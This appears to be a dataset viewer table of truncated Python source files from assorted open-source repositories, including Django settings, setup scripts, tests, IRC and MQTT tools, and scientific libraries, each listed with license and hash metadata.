gal1 = tuple(range(256))
gal2 = (
0x00, 0x02, 0x04, 0x06, 0x08, 0x0a, 0x0c, 0x0e, 0x10, 0x12, 0x14, 0x16, 0x18, 0x1a, 0x1c, 0x1e,
0x20, 0x22, 0x24, 0x26, 0x28, 0x2a, 0x2c, 0x2e, 0x30, 0x32, 0x34, 0x36, 0x38, 0x3a, 0x3c, 0x3e,
0x40, 0x42, 0x44, 0x... | apache-2.0 | -5,848,863,981,821,541,000 | 91.090395 | 99 | 0.639732 | false |
mochrul/zorp | pylib/Zorp/Keybridge.py | 1 | 21313 | ############################################################################
##
## Copyright (c) 2000-2015 BalaBit IT Ltd, Budapest, Hungary
## Copyright (c) 2015-2018 BalaSys IT Ltd, Budapest, Hungary
##
##
## This program is free software; you can redistribute it and/or modify
## it under the terms of the GNU General... | gpl-2.0 | -1,043,015,836,164,202,400 | 43.309771 | 771 | 0.592643 | false |
Fantomas42/django-xmlrpc | setup.py | 1 | 1097 | import os
from setuptools import find_packages
from setuptools import setup
import django_xmlrpc
setup(name='django-xmlrpc',
version=django_xmlrpc.__version__,
description='XML-RPC Server App for the Django framework.',
long_description=open(os.path.join('README.rst')).read(),
keywords='dja... | bsd-3-clause | 3,275,820,287,542,912,000 | 29.472222 | 74 | 0.633546 | false |
KB777/1541UltimateII | tools/parse_nano.py | 1 | 6839 | import sys
import logging
console = logging.StreamHandler()
logger = logging.getLogger()
logger.addHandler(console)
logger.setLevel(logging.ERROR)
labels = {}
program = []
imm_expr = []
imm_dict = {}
imm_values = []
nr = 0
def _get_value_imm(str):
if str[0] == '#':
if phase == 1:
if not str[... | gpl-3.0 | 1,242,725,368,680,759,300 | 26.356 | 76 | 0.481942 | false |
hamzehd/edx-platform | cms/envs/aws.py | 1 | 14975 | """
This is the default template for our main set of AWS servers.
"""
# We intentionally define lots of variables that aren't used, and
# want to import all variables from base settings files
# pylint: disable=wildcard-import, unused-wildcard-import
# Pylint gets confused by path.py instances, which report themselves... | agpl-3.0 | -5,478,946,343,448,647,000 | 39.915301 | 120 | 0.71005 | false |
HSZemi/stre | backup/backup.py | 1 | 2484 | #! /usr/bin/env python3
import sys
sys.path.append('../')
import stre.settings
import datetime
import subprocess
host = stre.settings.DATABASES['default']['HOST']
user = stre.settings.DATABASES['default']['USER']
password = stre.settings.DATABASES['default']['PASSWORD']
name = stre.settings.DATABASES['default']['NAME... | gpl-3.0 | 6,190,831,153,205,049,000 | 44.163636 | 205 | 0.739533 | false |
aelarabawy/hostap | tests/hwsim/test_pmksa_cache.py | 1 | 23504 | # WPA2-Enterprise PMKSA caching tests
# Copyright (c) 2013-2014, Jouni Malinen <j@w1.fi>
#
# This software may be distributed under the terms of the BSD license.
# See README for more details.
import logging
logger = logging.getLogger()
import subprocess
import time
import hostapd
from wpasupplicant import WpaSupplic... | gpl-2.0 | 8,156,492,690,407,084,000 | 40.453263 | 83 | 0.60845 | false |
uber/pyro | pyro/poutine/lift_messenger.py | 1 | 4853 | # Copyright (c) 2017-2019 Uber Technologies, Inc.
# SPDX-License-Identifier: Apache-2.0
import warnings
from pyro import params
from pyro.distributions.distribution import Distribution
from pyro.poutine.util import is_validation_enabled
from .messenger import Messenger
class LiftMessenger(Messenger):
"""
G... | apache-2.0 | -165,752,808,491,558,800 | 37.824 | 91 | 0.553678 | false |
google-research/google-research | jax2tex/setup.py | 1 | 2521 | # coding=utf-8
# Copyright 2021 The Google Research Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicab... | apache-2.0 | -6,288,696,118,159,902,000 | 30.123457 | 97 | 0.689409 | false |
s4w3d0ff/stirbot | stirbot/__init__.py | 1 | 19959 | #!/usr/bin/python
import time
import re
import logging
import socket
import ssl
from logging.handlers import RotatingFileHandler
from multiprocessing.dummy import Pool, Process
from multiprocessing import cpu_count
SSLPORTS = [6697, 7000, 7070]
NONSSLPORTS = [6665, 6666, 6667, 8000, 8001, 8002]
class CommandHandle(ob... | gpl-3.0 | 6,888,434,177,947,593,000 | 37.680233 | 81 | 0.502831 | false |
superjamie/snippets | ips-ls.py | 1 | 1502 | #!/usr/bin/python
## lists contents of an IPS patch
## stole the processing from meunierd's python-ips
## License: MIT - https://opensource.org/licenses/MIT
from os.path import getsize,isfile
import struct
from sys import argv
def print_usage_and_exit():
print "Usage: {script} [IPS patch file]".format(script=argv... | gpl-2.0 | 3,190,011,513,683,501,000 | 29.653061 | 75 | 0.597204 | false |
anjel-ershova/python_training | fixture/application.py | 1 | 1140 | from selenium import webdriver
from fixture.session import SessionHelper
from fixture.fixture_group import GroupHelper
from fixture.navigation import NavigationHelper
from fixture.fixture_contact import *
class Application:
def __init__(self, browser, baseurl):
if browser == 'firefox':
self.wd... | apache-2.0 | 8,681,497,553,056,534,000 | 29.75 | 65 | 0.610659 | false |
bplower/legendary-waffle-lib | test/test_attribute_create.py | 1 | 1029 | #!/usr/bin/env python
"""
This tests the general database crud functions
"""
import os
import sys
import sqlalchemy
sys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), '..')))
import legendary_waffle
db_engine = sqlalchemy.create_engine("sqlite://")
legendary_waffle.models.MODELBASE.metadata... | apache-2.0 | -5,286,218,143,307,776,000 | 35.75 | 86 | 0.785228 | false |
grantcolasurdo/geras | age/items.py | 1 | 10048 | """This is a repository for items in AGE"""
import csv
__author__ = "Grant Colasurdo"
class Items:
"""This class manages the meta-info of """
def __init__(self, character):
self.character = character
class Item:
def __init__(self, csv_row):
self.item_name: str = csv_row['item_name']
... | gpl-2.0 | 4,637,744,781,462,521,000 | 29.916923 | 120 | 0.618631 | false |
maweki/more-collections | more_collections/multisets.py | 1 | 5254 | try: # Python compat < 3.3
from collections.abc import Set, MutableSet, Hashable, Iterable
except ImportError:
from collections import Set, MutableSet, Hashable, Iterable
from collections import defaultdict
from functools import reduce
from itertools import chain
import operator
try: # Python compat < 3.4
f... | mit | 8,331,213,310,677,032,000 | 33.116883 | 93 | 0.597069 | false |
dahlia/iterfzf | setup.py | 1 | 12011 | import distutils.core
import distutils.errors
import json
import os
import os.path
import platform
import re
import shutil
import sys
import tarfile
import tempfile
import warnings
import zipfile
try:
import urllib2
except ImportError:
from urllib import request as urllib2
from setuptools import setup
fzf_v... | gpl-3.0 | 289,778,294,269,218,750 | 34.535503 | 99 | 0.53784 | false |
amit0701/rally | tests/unit/task/processing/test_plot.py | 1 | 6543 | # Copyright 2014: Mirantis Inc.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required b... | apache-2.0 | 5,324,407,977,765,640,000 | 46.413043 | 78 | 0.517041 | false |
autostock/RaspiDay | day2/SIM-Card/raspberry-code/sim-mqtt.py | 1 | 1294 | # leitet SMS-Nachricht an MQTT-Broker weiter
# SIM-Modul an ttyS1
# Ansteuerung mit AT-Befehlen
# SMS-Format topic:payload
# initpin() einmal zu Beginn
import serial
import time
import paho.mqtt.client as mqtt
port=serial.Serial("/dev/ttyS1",9600)
#port.open()
client=mqtt.Client()
# MQTT-Server
client.connect("x.x.x.... | gpl-3.0 | -3,823,492,392,637,159,400 | 20.213115 | 44 | 0.637558 | false |
mne-tools/mne-tools.github.io | 0.15/_downloads/plot_object_evoked.py | 2 | 3497 | """
.. _tut_evoked_objects:
The :class:`Evoked <mne.Evoked>` data structure: evoked/averaged data
=====================================================================
The :class:`Evoked <mne.Evoked>` data structure is mainly used for storing
averaged data over trials. In MNE the evoked objects are usually created by... | bsd-3-clause | -5,153,579,084,988,538,000 | 45.013158 | 79 | 0.596797 | false |
quaddra/engage-utils | engage_utils/test_pkgmgr.py | 1 | 2787 | """Unit tests for pkgmgr
Just import this package into the python repl. We can eventually
convert this to unit tests.
You can allow run from the command line:
python -c "from test_pkgmgr import *"
"""
DRY_RUN=False
import logging
logging.basicConfig(level=logging.DEBUG)
import tempfile
import shutil
from pkgmgr... | apache-2.0 | -4,386,750,700,094,869,500 | 30.670455 | 120 | 0.639756 | false |
mbohlool/client-python | kubernetes/client/models/v1_glusterfs_volume_source.py | 1 | 5563 | # coding: utf-8
"""
Kubernetes
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen)
OpenAPI spec version: v1.8.2
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from pprint import pformat
from six import iteritems
import re
... | apache-2.0 | -5,037,618,386,105,305,000 | 29.233696 | 204 | 0.586015 | false |
MisterTofu/practice | datastructures/binary-tree.py | 1 | 5688 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
@author: Travis A. Ebesu
@created: 2015-02-22
@summary:
'''
# pylint: disable=all
class Node(object):
def __init__(self, key):
self.key = key
self.left = None
self.right = None
self.parent = None
def __str__(self):
re... | gpl-3.0 | -1,501,138,086,404,303,600 | 24.621622 | 90 | 0.483122 | false |
scottrice/Ice | ice/gridproviders/consolegrid_provider.py | 1 | 1816 | #!/usr/bin/env python
# encoding: utf-8
"""
consolegrid_provider.py
Created by Scott on 2013-12-26.
Copyright (c) 2013 Scott Rice. All rights reserved.
"""
import sys
import os
import urllib
import urllib2
import grid_image_provider
from ice.logs import logger
class ConsoleGridProvider(grid_image_provider.GridImag... | mit | 8,985,641,121,252,052,000 | 25.318841 | 79 | 0.663546 | false |
wcmitchell/insights-core | insights/parsers/brctl_show.py | 1 | 4185 | """
BrctlShow - command ``brctl show``
==================================
This module provides processing for the output of the ``brctl show`` command.
Class ``BrctlShow`` parses the output of the ``brctl show`` command.
Sample output of this command looks like::
---
bridge name bridge id S... | apache-2.0 | -8,888,147,247,464,096,000 | 38.481132 | 87 | 0.474074 | false |
ryanvarley/ExoData | exodata/database.py | 1 | 8247 | """ Handles database classes including search functions
"""
import re
import xml.etree.ElementTree as ET
import glob
import os.path
import io
import gzip
import requests
from .astroclasses import System, Binary, Star, Planet, Parameters, BinaryParameters, StarParameters, PlanetParameters
compactString = lambda strin... | mit | -7,449,412,430,742,709,000 | 32.528455 | 124 | 0.602037 | false |
yafeunteun/wikipedia-spam-classifier | revscoring/revscoring/features/wikitext/datasources/edit.py | 1 | 10052 | import logging
import re
import time
from deltas import segment_matcher
from ....datasources import Datasource
from ....datasources.meta import filters
from .tokenized import TokenIsInTypes, is_uppercase_word
logger = logging.getLogger(__name__)
class Diff:
def __init__(self, *args, **kwargs):
super()... | mit | -7,961,771,865,106,505,000 | 31.217949 | 78 | 0.544369 | false |
daanwierstra/pybrain | pybrain/supervised/trainers/rprop.py | 1 | 2363 | # $Id$
__author__ = 'Martin Felder'
from scipy import sqrt
from pybrain.supervised.trainers import BackpropTrainer
class RPropMinusTrainer(BackpropTrainer):
""" Train the parameters of a module according to a supervised dataset (possibly sequential)
by RProp without weight backtracking (aka RProp-, cf. ... | bsd-3-clause | -2,108,311,514,443,129,300 | 44.461538 | 121 | 0.614896 | false |
matllubos/django-is-core | is_core/contrib/background_export/migrations/0001_initial.py | 1 | 2183 | # -*- coding: utf-8 -*-
# Generated by Django 1.11.16 on 2019-08-18 18:10
from __future__ import unicode_literals
import import_string
import chamber.models.fields
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
import is_core.contrib.background_export.models... | bsd-3-clause | -1,149,813,004,629,702,500 | 44.479167 | 118 | 0.603298 | false |
ericdill/bluesky | bluesky/callbacks/olog.py | 1 | 4145 | from io import StringIO
TEMPLATES = {}
TEMPLATES['long'] = """
{{- start.plan_type }} ['{{ start.uid[:6] }}'] (scan num: {{ start.scan_id }})
Scan Plan
---------
{{ start.plan_type }}
{%- for k, v in start.plan_args | dictsort %}
{{ k }}: {{ v }}
{%- endfor %}
{% if 'signature' in start -%}
Call:
{{ start.si... | bsd-3-clause | -4,276,932,804,570,947,600 | 32.97541 | 95 | 0.572256 | false |
jonesambrosi/rocks | test_rocks/custom_report.py | 1 | 2457 | import logging
from unittest import TestResult
logger = logging.getLogger(__name__)
class CustomTestReport(TestResult):
def __init__(self, change_callback=None):
super(CustomTestReport, self).__init__()
logger.debug('__init__')
self.running = False
self.change_callback = change_c... | mit | 3,235,002,747,849,012,000 | 32.657534 | 72 | 0.611315 | false |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.